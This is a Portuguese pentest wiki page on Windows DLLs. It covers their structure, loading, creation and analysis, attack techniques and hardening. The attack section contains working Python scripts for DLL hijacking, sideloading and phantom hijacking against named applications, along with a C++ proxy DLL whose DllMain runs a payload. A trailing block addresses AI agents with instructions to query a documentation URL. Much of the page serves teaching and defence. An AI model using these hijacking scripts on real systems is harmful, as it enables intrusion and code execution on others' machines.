# DLL (Dynamic-Link Library))

### 📑 **Índice**

1. Fundamentos das DLLs
2. Arquitetura e Funcionamento
3. Criação de DLLs
4. Análise de DLLs
5. Vulnerabilidades e Ataques
6. Ferramentas e Diagnóstico
7. Mitigação e Hardening
8. Checklists de Segurança

***

### 🔍 **Fundamentos das DLLs**

#### **O que são DLLs?**

DLL (Dynamic-Link Library) é uma biblioteca de código compartilhado que pode ser utilizada por múltiplas aplicações simultaneamente no Windows. Diferente de arquivos executáveis (.exe), as DLLs não podem ser executadas diretamente; elas contêm funções, recursos e dados que são carregados sob demanda por programas.

#### **Características Principais**

```yaml
Características:
  ✅ Reutilização de código: Múltiplos programas compartilham a mesma DLL
  ✅ Economia de memória: DLLs são carregadas uma única vez na memória
  ✅ Modularidade: Atualizações podem afetar apenas a DLL, não o programa
  ✅ Carregamento dinâmico: DLLs podem ser carregadas sob demanda
  ✅ Versionamento: Múltiplas versões podem coexistir (Side-by-Side)

Extensões comuns:
  - .dll: Biblioteca de vínculo dinâmico padrão
  - .ocx: Controle ActiveX
  - .cpl: Painel de controle
  - .drv: Driver de dispositivo
  - .scr: Protetor de tela (pode ser DLL)
```

#### **Contexto Histórico**

```yaml
Evolução das DLLs:
  1985: Windows 1.0 introduz DLLs
  1990: Windows 3.0 populariza o uso
  1995: Windows 95 adiciona suporte a DLLs de 32 bits
  2000: Windows 2000 introduz Side-by-Side (WinSxS)
  2006: Windows Vista adiciona isolamento de DLL
  2015: Windows 10 aprimora segurança de DLL
  2020: Windows 11 mantém compatibilidade
```

***

### 🏗️ **Arquitetura e Funcionamento**

#### **Estrutura de uma DLL**

```mermaid
graph TD
    subgraph "Arquivo DLL"
        A[DOS Header]
        B[NT Headers]
        C[Section Headers]
        D[.text - Código]
        E[.data - Dados]
        F[.rdata - Read-only]
        G[.rsrc - Recursos]
        H[Export Table]
        I[Import Table]
    end
    
    subgraph "Processo Carregador"
        J[LoadLibrary]
        K[GetProcAddress]
        L[FreeLibrary]
    end
```

#### **Tipos de Ligação (Linking)**

| Tipo                 | Descrição                      | Carregamento                   | Exemplo                              |
| -------------------- | ------------------------------ | ------------------------------ | ------------------------------------ |
| **Implicit Linking** | Ligação em tempo de compilação | DLL carregada na inicialização | `#pragma comment(lib, "user32.lib")` |
| **Explicit Linking** | Ligação em tempo de execução   | DLL carregada sob demanda      | `LoadLibrary("user32.dll")`          |
| **Delay Loading**    | Carregamento adiado            | Primeiro uso da função         | `/DELAYLOAD:user32.dll`              |

#### **Carregamento de DLLs**

```python
#!/usr/bin/env python3
# dll_loading.py

import ctypes
from ctypes import wintypes

class DLLLoading:
    """Demonstração de carregamento de DLLs"""
    
    def __init__(self):
        self.handles = {}
    
    def load_explicit(self, dll_path):
        """Carregamento explícito de DLL"""
        try:
            handle = ctypes.windll.kernel32.LoadLibraryW(dll_path)
            if handle:
                self.handles[dll_path] = handle
                print(f"[+] DLL carregada: {dll_path} (Handle: 0x{handle:X})")
                return handle
        except Exception as e:
            print(f"[-] Erro ao carregar {dll_path}: {e}")
        return None
    
    def get_function(self, handle, function_name):
        """Obter ponteiro de função da DLL"""
        try:
            func = ctypes.windll.kernel32.GetProcAddress(handle, function_name)
            if func:
                print(f"[+] Função encontrada: {function_name} (0x{func:X})")
                return func
        except Exception as e:
            print(f"[-] Erro ao obter {function_name}: {e}")
        return None
    
    def unload(self, dll_path):
        """Descarregar DLL"""
        if dll_path in self.handles:
            result = ctypes.windll.kernel32.FreeLibrary(self.handles[dll_path])
            if result:
                print(f"[+] DLL descarregada: {dll_path}")
                del self.handles[dll_path]
            else:
                print(f"[-] Erro ao descarregar {dll_path}")
    
    def get_module_handle(self, module_name):
        """Obter handle de módulo já carregado"""
        handle = ctypes.windll.kernel32.GetModuleHandleW(module_name)
        if handle:
            print(f"[+] Módulo encontrado: {module_name} (0x{handle:X})")
        return handle

# Exemplo de uso
loader = DLLLoading()
handle = loader.load_explicit("user32.dll")
if handle:
    func = loader.get_function(handle, "MessageBoxW")
    loader.unload("user32.dll")
```

#### **Ordem de Busca de DLLs**

```yaml
Ordem de busca padrão (SafeDllSearchMode = 1):
  1. Diretório do executável
  2. System32 (C:\Windows\System32)
  3. System (C:\Windows\System)
  4. Windows (C:\Windows)
  5. Diretório atual (CWD)
  6. Diretórios listados na variável PATH

Ordem de busca (SafeDllSearchMode = 0):
  1. Diretório do executável
  2. Diretório atual (CWD)
  3. System32
  4. System
  5. Windows
  6. PATH
```

#### **Exportação de Funções**

```cpp
// Exemplo de exportação em C++
#ifdef MYDLL_EXPORTS
#define MYDLL_API __declspec(dllexport)
#else
#define MYDLL_API __declspec(dllimport)
#endif

// Exportação padrão
MYDLL_API int Add(int a, int b);

// Exportação com nome personalizado
extern "C" MYDLL_API int Subtract(int a, int b);

// Exportação por ordinal
#pragma comment(linker, "/EXPORT:Multiply=_Multiply@8,PRIVATE")
int Multiply(int a, int b);

// Definição de função
int Add(int a, int b) {
    return a + b;
}
```

***

### 🔧 **Criação de DLLs**

#### **DLL em C/C++**

```cpp
// math_dll.cpp - DLL matemática simples
#include <windows.h>
#include <stdio.h>

// Definição de exportação
#define MATH_API __declspec(dllexport)

// Funções exportadas
extern "C" {
    MATH_API int Add(int a, int b) {
        return a + b;
    }
    
    MATH_API int Subtract(int a, int b) {
        return a - b;
    }
    
    MATH_API int Multiply(int a, int b) {
        return a * b;
    }
    
    MATH_API double Divide(double a, double b) {
        if (b == 0) return 0;
        return a / b;
    }
    
    MATH_API void PrintMessage(const char* message) {
        MessageBoxA(NULL, message, "DLL Message", MB_OK);
    }
}

// DllMain - Ponto de entrada da DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            printf("DLL carregada no processo\n");
            break;
        case DLL_THREAD_ATTACH:
            printf("Nova thread criada\n");
            break;
        case DLL_THREAD_DETACH:
            printf("Thread finalizada\n");
            break;
        case DLL_PROCESS_DETACH:
            printf("DLL descarregada\n");
            break;
    }
    return TRUE;
}
```

#### **Compilação da DLL**

```bash
# Compilação com MinGW (GCC)
g++ -shared -o math.dll math_dll.cpp -Wl,--out-implib,libmath.a

# Compilação com Visual Studio (Developer Command Prompt)
cl /LD math_dll.cpp /Fe:math.dll

# Compilação com exportação de símbolos
cl /LD math_dll.cpp /Fe:math.dll /DEF:math.def

# Arquivo de definição (math.def)
# EXPORTS
#   Add
#   Subtract
#   Multiply
#   Divide
```

#### **DLL em C#/.NET**

```csharp
// MathLibrary.cs
using System;
using System.Runtime.InteropServices;

namespace MathLibrary
{
    public interface IMathOperations
    {
        int Add(int a, int b);
        int Subtract(int a, int b);
        int Multiply(int a, int b);
        double Divide(double a, double b);
    }
    
    public class MathOperations : IMathOperations
    {
        public int Add(int a, int b) => a + b;
        public int Subtract(int a, int b) => a - b;
        public int Multiply(int a, int b) => a * b;
        public double Divide(double a, double b) => b != 0 ? a / b : 0;
    }
    
    // Exportação para P/Invoke
    public class NativeExports
    {
        [DllExport("Add", CallingConvention = CallingConvention.Cdecl)]
        public static int Add(int a, int b) => a + b;
        
        [DllExport("Subtract", CallingConvention = CallingConvention.Cdecl)]
        public static int Subtract(int a, int b) => a - b;
    }
}
```

#### **DLL em Python (Via Ctypes)**

```python
# math_dll.py - DLL em Python? Não, mas podemos criar wrapper
# Python não compila para DLL nativamente. Use Cython ou Nuitka

# Usando Cython para criar DLL
# setup.py
"""
from distutils.core import setup
from Cython.Build import cythonize

setup(
    name='math_dll',
    ext_modules=cythonize("math_cython.pyx"),
)
"""

# math_cython.pyx
"""
def add(int a, int b):
    return a + b

def subtract(int a, int b):
    return a - b

def multiply(int a, int b):
    return a * b

def divide(double a, double b):
    if b == 0:
        return 0
    return a / b
"""
```

***

### 🔍 **Análise de DLLs**

#### **Análise Estática com PE Explorer**

```bash
# Ver informações básicas
file math.dll
strings math.dll | head -20

# Usando dumpbin (Visual Studio)
dumpbin /exports math.dll
dumpbin /imports math.dll
dumpbin /headers math.dll

# Usando objdump (MinGW)
objdump -p math.dll | grep -E "DLL Name|Hint/Name"
objdump -x math.dll

# Usando pedump (Ruby)
gem install pedump
pedump math.dll
pedump -E math.dll  # Exports
```

#### **Análise com Python**

```python
#!/usr/bin/env python3
# dll_analyzer.py

import pefile
import struct
import sys

class DLLAnalyzer:
    """Analisador de arquivos DLL"""
    
    def __init__(self, dll_path):
        self.dll_path = dll_path
        self.pe = None
        self.load()
    
    def load(self):
        """Carregar arquivo PE"""
        try:
            self.pe = pefile.PE(self.dll_path)
            print(f"[+] DLL carregada: {self.dll_path}")
        except Exception as e:
            print(f"[-] Erro ao carregar: {e}")
    
    def get_exports(self):
        """Listar funções exportadas"""
        if not self.pe:
            return []
        
        exports = []
        if hasattr(self.pe, 'DIRECTORY_ENTRY_EXPORT'):
            for exp in self.pe.DIRECTORY_ENTRY_EXPORT.symbols:
                if exp.name:
                    exports.append({
                        'name': exp.name.decode(),
                        'ordinal': exp.ordinal,
                        'address': exp.address
                    })
        return exports
    
    def get_imports(self):
        """Listar DLLs importadas"""
        if not self.pe:
            return []
        
        imports = {}
        if hasattr(self.pe, 'DIRECTORY_ENTRY_IMPORT'):
            for entry in self.pe.DIRECTORY_ENTRY_IMPORT:
                dll_name = entry.dll.decode()
                functions = []
                for imp in entry.imports:
                    if imp.name:
                        functions.append(imp.name.decode())
                imports[dll_name] = functions
        return imports
    
    def get_sections(self):
        """Listar seções da DLL"""
        if not self.pe:
            return []
        
        sections = []
        for section in self.pe.sections:
            sections.append({
                'name': section.Name.decode().rstrip('\x00'),
                'virtual_address': hex(section.VirtualAddress),
                'virtual_size': hex(section.Misc_VirtualSize),
                'raw_size': section.SizeOfRawData,
                'characteristics': hex(section.Characteristics)
            })
        return sections
    
    def check_suspicious(self):
        """Verificar características suspeitas"""
        suspicious = []
        
        # Verificar seção .text executável e writable
        for section in self.pe.sections:
            if section.Name.startswith(b'.text'):
                if section.Characteristics & 0x80000000:  # IMAGE_SCN_MEM_WRITE
                    suspicious.append({
                        'type': 'WRITABLE_CODE',
                        'section': section.Name.decode(),
                        'detail': 'Seção de código writable'
                    })
        
        # Verificar TLS callbacks
        if hasattr(self.pe, 'DIRECTORY_ENTRY_TLS'):
            suspicious.append({
                'type': 'TLS_CALLBACKS',
                'detail': 'DLL possui TLS callbacks (execução antes do entry point)'
            })
        
        return suspicious
    
    def generate_report(self):
        """Gerar relatório completo"""
        print("\n=== RELATÓRIO DE ANÁLISE ===\n")
        print(f"Arquivo: {self.dll_path}")
        
        print("\n[Funções Exportadas]")
        for exp in self.get_exports():
            print(f"  - {exp['name']} (ordinal: {exp['ordinal']})")
        
        print("\n[DLLs Importadas]")
        for dll, funcs in self.get_imports().items():
            print(f"  {dll}: {', '.join(funcs[:5])}")
            if len(funcs) > 5:
                print(f"    ... e mais {len(funcs) - 5} funções")
        
        print("\n[Seções]")
        for section in self.get_sections():
            print(f"  {section['name']}: VA={section['virtual_address']}, "
                  f"Size={section['virtual_size']}")
        
        print("\n[Verificações de Segurança]")
        suspicious = self.check_suspicious()
        if suspicious:
            for sus in suspicious:
                print(f"  ⚠️ {sus['type']}: {sus['detail']}")
        else:
            print("  ✅ Nenhuma característica suspeita encontrada")

# Exemplo de uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: python dll_analyzer.py <dll_path>")
        sys.exit(1)
    
    analyzer = DLLAnalyzer(sys.argv[1])
    analyzer.generate_report()
```

#### **Análise de Dependências**

```bash
# Dependency Walker (depends.exe) - GUI
depends.exe math.dll

# Dependency Walker CLI
depends /c /f:1 math.dll > deps.txt

# Dependencies - Ferramenta moderna
dependencies.exe -modules math.dll

# API Monitor
apimonitor.exe -pid 1234 -api LoadLibrary
```

***

### ⚔️ **Vulnerabilidades e Ataques**

#### **1. DLL Hijacking**

```python
#!/usr/bin/env python3
# dll_hijacking.py

import os
import shutil

class DLLHijacking:
    """Demonstração de técnicas de DLL Hijacking"""
    
    def __init__(self, target_exe, legit_dll):
        self.target = target_exe
        self.legit_dll = legit_dll
        self.target_dir = os.path.dirname(target_exe)
    
    def check_vulnerability(self):
        """Verificar se aplicação é vulnerável"""
        # Método 1: Verificar DLLs ausentes
        missing_dlls = self.find_missing_dlls()
        
        # Método 2: Verificar ordem de busca
        search_order = self.get_search_order()
        
        return {
            'missing_dlls': missing_dlls,
            'search_order': search_order,
            'vulnerable': len(missing_dlls) > 0
        }
    
    def find_missing_dlls(self):
        """Encontrar DLLs ausentes carregadas pelo executável"""
        # Em produção, usar API Monitor ou Process Monitor
        return ['missing_dll.dll', 'vulnerable_lib.dll']
    
    def get_search_order(self):
        """Obter ordem de busca do Windows"""
        # Valores do registro
        import winreg
        try:
            key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 
                r"SYSTEM\CurrentControlSet\Control\Session Manager")
            value, _ = winreg.QueryValueEx(key, "SafeDllSearchMode")
            return "SafeDllSearchMode Enabled" if value else "Legacy Search Order"
        except:
            return "SafeDllSearchMode Disabled (Default)"
    
    def hijack_via_path(self, malicious_dll):
        """Hijack via diretório do executável"""
        target_path = os.path.join(self.target_dir, os.path.basename(self.legit_dll))
        
        if not os.path.exists(target_path):
            shutil.copy2(malicious_dll, target_path)
            print(f"[+] DLL maliciosa colocada em {target_path}")
            return True
        return False
    
    def hijack_via_cwd(self, malicious_dll):
        """Hijack via diretório atual"""
        # Se o executável é executado de um diretório writable
        cwd = os.getcwd()
        target_path = os.path.join(cwd, os.path.basename(self.legit_dll))
        
        shutil.copy2(malicious_dll, target_path)
        print(f"[+] DLL maliciosa colocada em {target_path}")
        return True
    
    def hijack_via_path_env(self, malicious_dll):
        """Hijack via PATH environment"""
        # Adicionar diretório malicioso ao PATH
        malicious_dir = "C:\\Temp\\Malicious"
        os.makedirs(malicious_dir, exist_ok=True)
        
        target_path = os.path.join(malicious_dir, os.path.basename(self.legit_dll))
        shutil.copy2(malicious_dll, target_path)
        
        # Adicionar ao PATH
        os.environ['PATH'] = f"{malicious_dir};{os.environ['PATH']}"
        print(f"[+] Diretório {malicious_dir} adicionado ao PATH")
        return True

# Exemplo
hijacker = DLLHijacking("C:\\Program Files\\App\\app.exe", "vulnerable.dll")
vuln = hijacker.check_vulnerability()
if vuln['vulnerable']:
    print(f"[!] Aplicação vulnerável! DLLs ausentes: {vuln['missing_dlls']}")
```

#### **2. DLL Proxying (Proxy DLL)**

```cpp
// proxy_dll.cpp - DLL que redireciona chamadas para a original
#include <windows.h>
#include <stdio.h>

// Ponteiros para funções originais
typedef int (*AddFunc)(int, int);
typedef int (*SubtractFunc)(int, int);

AddFunc OriginalAdd = NULL;
SubtractFunc OriginalSubtract = NULL;

// Carregar DLL original
HMODULE LoadOriginalDLL() {
    // Caminho para a DLL original (System32)
    char systemPath[MAX_PATH];
    GetSystemDirectoryA(systemPath, MAX_PATH);
    strcat(systemPath, "\\original.dll");
    
    HMODULE hOriginal = LoadLibraryA(systemPath);
    if (hOriginal) {
        OriginalAdd = (AddFunc)GetProcAddress(hOriginal, "Add");
        OriginalSubtract = (SubtractFunc)GetProcAddress(hOriginal, "Subtract");
    }
    return hOriginal;
}

// Função exportada com código malicioso + redirecionamento
extern "C" __declspec(dllexport) int Add(int a, int b) {
    // Código malicioso aqui
    MessageBoxA(NULL, "DLL Hijacked!", "Warning", MB_OK);
    
    // Chamar função original
    if (OriginalAdd) {
        return OriginalAdd(a, b);
    }
    return a + b;
}

extern "C" __declspec(dllexport) int Subtract(int a, int b) {
    if (OriginalSubtract) {
        return OriginalSubtract(a, b);
    }
    return a - b;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        LoadOriginalDLL();
        // Executar payload
        WinExec("calc.exe", SW_SHOW);
    }
    return TRUE;
}
```

#### **3. DLL Sideloading**

```python
#!/usr/bin/env python3
# dll_sideloading.py

import os
import subprocess

class DLLSideloading:
    """Técnicas de DLL Sideloading"""
    
    def __init__(self):
        self.common_targets = [
            {"name": "Microsoft Office", "exe": "WINWORD.EXE", "dll": "wwlib.dll"},
            {"name": "Windows Defender", "exe": "MsMpEng.exe", "dll": "mpclient.dll"},
            {"name": "Windows Explorer", "exe": "explorer.exe", "dll": "shell32.dll"},
            {"name": "Chrome", "exe": "chrome.exe", "dll": "chrome_elf.dll"},
            {"name": "Firefox", "exe": "firefox.exe", "dll": "mozglue.dll"},
            {"name": "Adobe Reader", "exe": "AcroRd32.exe", "dll": "acrotray.dll"}
        ]
    
    def find_vulnerable_apps(self):
        """Encontrar aplicações vulneráveis"""
        vulnerable = []
        
        for app in self.common_targets:
            # Verificar se aplicação existe
            result = subprocess.run(
                ['where', app['exe']], 
                capture_output=True, 
                text=True
            )
            
            if result.returncode == 0:
                exe_path = result.stdout.strip().split('\n')[0]
                exe_dir = os.path.dirname(exe_path)
                
                # Verificar se DLL está no diretório do executável
                dll_path = os.path.join(exe_dir, app['dll'])
                
                vulnerable.append({
                    'name': app['name'],
                    'exe': exe_path,
                    'dll': app['dll'],
                    'dll_exists': os.path.exists(dll_path)
                })
        
        return vulnerable
    
    def sideload_dll(self, target_app, malicious_dll):
        """Realizar sideload de DLL"""
        exe_dir = os.path.dirname(target_app['exe'])
        target_path = os.path.join(exe_dir, target_app['dll'])
        
        if not os.path.exists(target_path):
            import shutil
            shutil.copy2(malicious_dll, target_path)
            print(f"[+] DLL colocada em {target_path}")
            
            # Executar aplicação para carregar a DLL
            subprocess.Popen([target_app['exe']])
            return True
        
        return False

# Exemplo
sideloader = DLLSideloading()
vulnerable = sideloader.find_vulnerable_apps()

for app in vulnerable:
    print(f"  - {app['name']}: {app['exe']} -> {app['dll']}")
```

#### **4. Phantom DLL Hijacking**

```python
# phantom_dll_hijack.py
import os
import pefile

class PhantomDLLHijack:
    """Exploração de DLLs que não existem no sistema"""
    
    def __init__(self, target_exe):
        self.target = target_exe
        self.missing_dlls = []
    
    def analyze_imports(self):
        """Analisar imports do executável"""
        try:
            pe = pefile.PE(self.target)
            
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                dll_name = entry.dll.decode()
                
                # Verificar se DLL existe no sistema
                if not self.dll_exists(dll_name):
                    self.missing_dlls.append({
                        'dll': dll_name,
                        'functions': [imp.name.decode() for imp in entry.imports if imp.name]
                    })
            
        except Exception as e:
            print(f"Erro: {e}")
    
    def dll_exists(self, dll_name):
        """Verificar se DLL existe no sistema"""
        search_paths = [
            r"C:\Windows\System32",
            r"C:\Windows\SysWOW64",
            r"C:\Windows",
            os.path.dirname(self.target)
        ]
        
        for path in search_paths:
            full_path = os.path.join(path, dll_name)
            if os.path.exists(full_path):
                return True
        return False
    
    def create_malicious_dll(self, dll_info):
        """Criar DLL maliciosa para phantom hijack"""
        # Criar DLL básica com as funções exportadas necessárias
        dll_name = dll_info['dll']
        functions = dll_info['functions']
        
        print(f"[*] Criando DLL phantom: {dll_name}")
        print(f"    Funções necessárias: {', '.join(functions)}")
        
        # Em produção, gerar código C e compilar
        return True

# Exemplo
phantom = PhantomDLLHijack("C:\\Program Files\\LegacyApp\\app.exe")
phantom.analyze_imports()
print(f"Phantom DLLs encontradas: {len(phantom.missing_dlls)}")
for dll in phantom.missing_dlls:
    print(f"  - {dll['dll']}")
```

***

### 🛠️ **Ferramentas e Diagnóstico**

#### **Process Monitor para Debug de DLL**

```bash
# Capturar eventos de carregamento de DLL
procmon.exe /AcceptEula /BackingFile dll_loads.pml
# Filtro: Process Name is app.exe and Path contains .dll

# Análise offline
procmon.exe /OpenLog dll_loads.pml
```

#### **ListDLLs - Sysinternals**

```bash
# Listar DLLs carregadas por processo
listdlls.exe
listdlls.exe explorer.exe
listdlls.exe -d user32.dll  # Processos que carregaram user32.dll
```

#### **API Monitor para Rastreamento**

```bash
# Monitorar chamadas a LoadLibrary
apimonitor.exe -pid 1234 -api LoadLibrary -o log.csv
```

#### **Script de Diagnóstico de DLL**

```python
#!/usr/bin/env python3
# dll_diagnostics.py

import os
import psutil
import win32api
import win32con
import win32file

class DLLDiagnostics:
    """Diagnóstico de problemas com DLLs"""
    
    def __init__(self):
        self.results = {}
    
    def check_process_dlls(self, process_name=None):
        """Verificar DLLs carregadas por processos"""
        dlls_by_process = {}
        
        for proc in psutil.process_iter(['pid', 'name']):
            if process_name and proc.info['name'].lower() != process_name.lower():
                continue
            
            try:
                dlls = []
                for module in proc.memory_maps():
                    if '.dll' in module.path.lower():
                        dlls.append({
                            'path': module.path,
                            'address': hex(module.addr),
                            'size': module.size
                        })
                
                dlls_by_process[proc.info['name']] = {
                    'pid': proc.info['pid'],
                    'dlls': dlls
                }
                
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                continue
        
        return dlls_by_process
    
    def check_dll_versions(self, dll_name):
        """Verificar versões de DLL no sistema"""
        versions = []
        search_paths = [
            r"C:\Windows\System32",
            r"C:\Windows\SysWOW64",
            r"C:\Windows"
        ]
        
        for path in search_paths:
            full_path = os.path.join(path, dll_name)
            if os.path.exists(full_path):
                info = win32api.GetFileVersionInfo(full_path, "\\")
                versions.append({
                    'path': full_path,
                    'version': f"{info['FileVersionMS'] >> 16}.{info['FileVersionMS'] & 0xFFFF}.{info['FileVersionLS'] >> 16}.{info['FileVersionLS'] & 0xFFFF}",
                    'size': os.path.getsize(full_path),
                    'modified': os.path.getmtime(full_path)
                })
        
        return versions
    
    def check_known_dlls(self):
        """Verificar DLLs conhecidas do sistema"""
        known_dlls = [
            'kernel32.dll', 'user32.dll', 'gdi32.dll', 'advapi32.dll',
            'shell32.dll', 'ole32.dll', 'oleaut32.dll', 'comctl32.dll',
            'ws2_32.dll', 'wininet.dll', 'crypt32.dll', 'msvcrt.dll'
        ]
        
        results = {}
        for dll in known_dlls:
            versions = self.check_dll_versions(dll)
            results[dll] = versions
        
        return results
    
    def check_dll_hijack_vulnerability(self, exe_path):
        """Verificar se executável é vulnerável a DLL hijacking"""
        import pefile
        
        try:
            pe = pefile.PE(exe_path)
            vulnerable_dlls = []
            
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                dll_name = entry.dll.decode()
                dll_paths = self.check_dll_versions(dll_name)
                
                if not dll_paths:
                    vulnerable_dlls.append(dll_name)
            
            return {
                'exe': exe_path,
                'vulnerable': len(vulnerable_dlls) > 0,
                'missing_dlls': vulnerable_dlls
            }
            
        except Exception as e:
            return {'error': str(e)}
    
    def run_full_diagnostic(self):
        """Executar diagnóstico completo"""
        print("=== DIAGNÓSTICO DE DLL ===\n")
        
        # 1. Verificar DLLs carregadas
        print("[1] DLLs carregadas por processos críticos:")
        critical_processes = ['explorer.exe', 'svchost.exe', 'winlogon.exe']
        for proc in critical_processes:
            dlls = self.check_process_dlls(proc)
            if dlls:
                print(f"  {proc}: {len(dlls[proc]['dlls'])} DLLs carregadas")
        
        # 2. Verificar versões de DLLs do sistema
        print("\n[2] Versões de DLLs do sistema:")
        known = self.check_known_dlls()
        for dll, versions in known.items():
            if versions:
                print(f"  {dll}: {versions[0]['version']} ({versions[0]['path']})")
        
        # 3. Verificar vulnerabilidades
        print("\n[3] Verificando vulnerabilidades de DLL hijacking:")
        common_exes = [
            r"C:\Windows\System32\notepad.exe",
            r"C:\Windows\System32\calc.exe"
        ]
        
        for exe in common_exes:
            if os.path.exists(exe):
                result = self.check_dll_hijack_vulnerability(exe)
                if result.get('vulnerable'):
                    print(f"  ⚠️ {exe}: DLLs ausentes - {result['missing_dlls']}")
                else:
                    print(f"  ✅ {exe}: Seguro")

# Exemplo
diag = DLLDiagnostics()
diag.run_full_diagnostic()
```

***

### 🛡️ **Mitigação e Hardening**

#### **Configurações de Segurança**

```bash
# Habilitar SafeDllSearchMode
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f

# Desabilitar carregamento de DLLs de diretórios remotos
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v ProtectionMode /t REG_DWORD /d 1 /f

# Habilitar ASLR para DLLs
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v MoveImages /t REG_DWORD /d 1 /f
```

#### **AppLocker para DLLs**

```xml
<!-- AppLocker Policy para DLLs -->
<AppLockerPolicy Version="1">
    <RuleCollection Type="Dll" EnforcementMode="Enabled">
        <!-- Permitir DLLs assinadas pela Microsoft -->
        <FilePublisherRule Id="1" Name="Microsoft DLLs" UserOrGroupSid="S-1-1-0" Action="Allow">
            <Conditions>
                <FilePublisherCondition PublisherName="Microsoft" ProductName="*" BinaryName="*">
                    <BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
                </FilePublisherCondition>
            </Conditions>
        </FilePublisherRule>
        
        <!-- Permitir DLLs em System32 -->
        <FilePathRule Id="2" Name="System32 DLLs" UserOrGroupSid="S-1-1-0" Action="Allow">
            <Conditions>
                <FilePathCondition Path="%WINDIR%\System32\*" />
            </Conditions>
        </FilePathRule>
        
        <!-- Bloquear todas as outras DLLs -->
        <DenyAllRule Id="3" Name="Deny All DLLs" UserOrGroupSid="S-1-1-0" Action="Deny" />
    </RuleCollection>
</AppLockerPolicy>
```

#### **Hardening de Aplicações**

```cpp
// Código seguro para carregamento de DLLs
#include <windows.h>

HMODULE LoadDLLSecure(const char* dll_name) {
    // 1. Usar caminho absoluto
    char systemPath[MAX_PATH];
    GetSystemDirectoryA(systemPath, MAX_PATH);
    strcat(systemPath, "\\");
    strcat(systemPath, dll_name);
    
    // 2. Verificar assinatura digital
    if (!VerifyDigitalSignature(systemPath)) {
        return NULL;
    }
    
    // 3. Carregar com flags seguras
    return LoadLibraryExA(systemPath, NULL, 
        LOAD_LIBRARY_SEARCH_SYSTEM32 | 
        LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);
}

BOOL VerifyDigitalSignature(const char* filePath) {
    WINTRUST_FILE_INFO fileInfo;
    WINTRUST_DATA wintrustData;
    GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
    
    fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
    fileInfo.pcwszFilePath = filePath;
    fileInfo.hFile = NULL;
    fileInfo.pgKnownSubject = NULL;
    
    wintrustData.cbStruct = sizeof(WINTRUST_DATA);
    wintrustData.pPolicyCallbackData = NULL;
    wintrustData.pSIPClientData = NULL;
    wintrustData.dwUIChoice = WTD_UI_NONE;
    wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
    wintrustData.pFile = &fileInfo;
    wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
    wintrustData.hWVTStateData = NULL;
    wintrustData.pwszURLReference = NULL;
    wintrustData.dwProvFlags = 0;
    
    LONG status = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
    
    return status == ERROR_SUCCESS;
}
```

***

### 📋 **Checklists de Segurança**

#### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] SafeDllSearchMode habilitado
  * [ ] ASLR ativo para DLLs
  * [ ] DEP habilitado
  * [ ] Windows Defender Application Control configurado
* [ ] **Aplicações**
  * [ ] Usar caminhos absolutos para LoadLibrary
  * [ ] Verificar assinaturas digitais de DLLs
  * [ ] Evitar carregamento implícito de DLLs desconhecidas
  * [ ] Usar /DELAYLOAD para DLLs opcionais
* [ ] **Monitoramento**
  * [ ] Process Monitor para eventos de DLL
  * [ ] Logs de carregamento de DLL
  * [ ] Alertas para DLLs de locais suspeitos

#### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar DLLs carregadas por aplicações
  * [ ] Verificar DLLs ausentes
  * [ ] Analisar ordem de busca
* [ ] **Exploração**
  * [ ] Testar DLL hijacking em aplicações críticas
  * [ ] Verificar phantom DLLs
  * [ ] Testar DLL sideloading
* [ ] **Validação**
  * [ ] Confirmar execução de código
  * [ ] Documentar vetores de ataque
  * [ ] Verificar permissões de diretórios

***

### 📊 **Conclusão e Boas Práticas**

#### **Resumo Técnico**

```yaml
DLLs:
  ✅ Componentes fundamentais do Windows
  ✅ Permitem reutilização de código e economia de memória
  ✅ Alvos comuns de ataques (hijacking, sideloading)

Defesas essenciais:
  ❌ Não confiar na ordem de busca padrão
  ✓ Habilitar SafeDllSearchMode
  ✓ Usar caminhos absolutos
  ✓ Verificar assinaturas digitais
  ✓ Monitorar carregamento de DLLs
```

#### **Recomendações Finais**

1. **Para Desenvolvedore**
   * Sempre usar caminhos absolutos para LoadLibrary
   * Verificar assinaturas de DLLs críticas
   * Usar /DELAYLOAD para DLLs opcionais
   * Implementar SetDllDirectory para restringir busca
2. **Para Administradores**
   * Habilitar SafeDllSearchMode
   * Configurar AppLocker para DLLs
   * Monitorar eventos de carregamento de DLL
   * Auditar permissões de diretórios
3. **Para Pentesters**
   * Identificar aplicações com DLLs ausentes
   * Testar permissões de escrita em diretórios de aplicações
   * Explorar phantom DLLs
   * Documentar vetores de escalonamento


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/ambientes/windows/dll-dynamic-link-library.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
